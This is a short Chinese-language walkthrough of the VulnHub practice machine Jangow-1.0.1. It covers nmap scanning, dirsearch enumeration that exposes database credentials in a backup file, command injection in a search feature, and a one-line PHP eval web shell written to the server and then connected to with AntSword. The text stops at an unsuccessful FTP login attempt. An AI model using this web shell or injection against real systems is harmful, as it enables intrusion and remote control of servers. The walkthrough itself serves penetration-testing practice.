Jangow-1.0.1靶机

靶机地址：https://vulnhub.com/entry/jangow-101,754/

一、信息收集

步骤一：导入并配置靶机为桥接模式而后开启...获取其MAC地址信息...如下

步骤二：主机发现

nmap 192.168.7.0/24

对应靶机的MAC地址得到IP地址为：192.168.193.143

步骤三：端口扫描

nmap -sV -p- 192.168.193.143

步骤四：访问IP地址，发现Index of /页面并点击其中的site目录

步骤五：在kali攻击机上使用dirsearch对http://192.168.193.143进行目录扫描

dirsearch -u http://192.168.193.143

拼接/.backup，发现了数据库的账号密码

步骤六：再对http://192.168.193.143/site/进行目录扫描，扫描的同时在原页面寻找特殊功能点；

dirsearch -u http://192.168.193.143/site/

拼接/site/assets/ ，无有用信息；

拼接/site/js/ ，也无有用信息；

那就只能测试前端功能，发现在点击Buscar时出现以下接口给上命令且执行成功

二、GetShell

步骤七：在此命令执行处拼接以下代码尝试直接GetShell

echo '<?php phpinfo();@eval($_POST[cmd]); ?>' > heihei.php

访问heihei.php文件

蚁剑连接

步骤八：根据上方扫描的端口21——ftp服务以及数据库的账号密码进行远程连接，但发现无有用信息